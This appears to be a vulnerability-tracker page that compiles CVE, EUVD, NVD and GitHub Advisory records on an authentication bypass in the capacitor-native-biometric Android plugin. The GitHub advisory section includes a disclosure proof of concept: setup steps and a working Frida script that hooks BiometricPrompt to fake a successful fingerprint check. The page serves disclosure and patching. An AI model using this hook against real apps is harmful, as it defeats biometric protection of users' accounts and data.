capacitor-native-biometric - Authentication Bypass via Unvalidated CryptoObject in onAuthenticationSucceeded

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

capacitor-native-biometric before 12.128.2 contains an authentication bypass vulnerability where the onAuthenticationSucceeded() method fails to validate CryptoObject parameters. Attackers can hook the onAuthenticationSucceeded() function using dynamic instrumentation to bypass biometric authentication without valid credentials.

Source published

20 Jun 2026 15:24:45 UTC

Source modified

8 Nov 2026 14:05:54 UTC

Observed here

8 Nov 2026 16:11:25 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 4.3 CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 4.8 CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

capacitor-native-biometric before 12.128.2 contains an authentication bypass vulnerability where the onAuthenticationSucceeded() method fails to validate CryptoObject parameters. Attackers can hook the onAuthenticationSucceeded() function using dynamic instrumentation to bypass biometric authentication without valid credentials.

Source published

Jun 20, 2026, 3:24:45 PM (timezone not stated)

Source modified

Nov 8, 2026, 2:05:54 PM (timezone not stated)

Observed here

9 Nov 2026 13:13:15 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 4.3 CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

capacitor-native-biometric before 12.128.2 contains an authentication bypass vulnerability where the onAuthenticationSucceeded() method fails to validate CryptoObject parameters. Attackers can hook the onAuthenticationSucceeded() function using dynamic instrumentation to bypass biometric authentication without valid credentials.

Source published

20 Jun 2026 16:17:05 UTC

Source modified

8 Oct 2026 16:17:21 UTC

Observed here

25 Oct 2026 14:19:05 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 4.3 CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. --- ## Summary The [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88): ```java @Override public void onAuthenticationSucceeded( @NonNull BiometricPrompt.AuthenticationResult result ) { super.onAuthenticationSucceeded(result); finishActivity("success"); } ``` As the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. ## PoC Video: https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7 ## Environment: The following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. 1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: ```sh npx create-react-app capgo-poc --template typescript ``` Yarn Alternative: ```sh npm install --global yarn yarn create react-app capgo-poc --template typescript ``` 2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies: ```sh cd capgo-poc npm install @capacitor/core npm install @capacitor/cli npm install @capacitor/android npm install @capgo/capacitor-native-biometric npm install react ``` Yarn Alternative: ```sh cd capgo-poc yarn add @capacitor/core yarn add @capacitor/cli yarn add @capacitor/android yarn add @capgo/capacitor-native-biometric yarn add react ``` 3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands: ```sh npx cap init npx cap add android ``` 4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions: ```xml <uses-permission android:name="android.permission.USE_BIOMETRIC" /> <uses-permission android:name="android.permission.USE_FINGERPRINT" /> ``` 5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code: ```js import React, { useState } from 'react'; import { NativeBiometric } from '@capgo/capacitor-native-biometric'; const App = () => { // State to hold authentication status const [authStatus, setAuthStatus] = useState<string | null>(null); // Function to authenticate the user const authenticateUser = async () => { try { const result = await NativeBiometric.verifyIdentity({ reason: 'For an application access', title: 'Log in', subtitle: '', description: 'Verify yourself by biometrics', useFallback: true, maxAttempts: 3, }).then(() => true) .catch(() => false); if (!result) { setAuthStatus('failed'); } else { setAuthStatus('success'); } } catch (error) { console.error('Error during biometric verification:', error); setAuthStatus('error'); } }; return ( <div> <h1>CAP-GO Capacitor Native Biometric Authentication</h1> <button onClick={authenticateUser}>Authenticate with Biometrics</button> {/* Conditionally render based on authentication status */} {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>} {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>} {authStatus === 'error' && <h2>Error during authentication</h2>} </div> ); }; export default App; ``` 6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands: ```sh npm run build npx cap sync android npx cap open android ``` Yarn alternative: ```sh yarn build npx cap sync android npx cap open android ``` ## Exploitation: For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. 1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command: ```sh frida -U -l <PAYLOAD> -n 'capgo-poc' ``` ### Payload ```js Java.perform(function () { hookBiometricPrompt(); }); function getBiometricAuthResult(resultObj, cryptoInst) { var authenticationResultInst = resultObj.$new(cryptoInst, 0); return authenticationResultInst; }; function getBiometricPromptResult() { var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject'); var cryptoInst = cryptoObj.$new(null); var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst); return authenticationResultInst }; function hookBiometricPrompt() { var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); console.log("Hooking BiometricPrompt.authenticate()..."); biometricPrompt.implementation = function (cancellationSignal, executor, callback) { var authenticationResultInst = getBiometricPromptResult(); callback.onAuthenticationSucceeded(authenticationResultInst); } }; ``` [^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/ [^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage [^frida]: https://frida.re/

Source published

10 Feb 2026 14:33:50 UTC

Source modified

8 Jul 2026 09:11:42 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE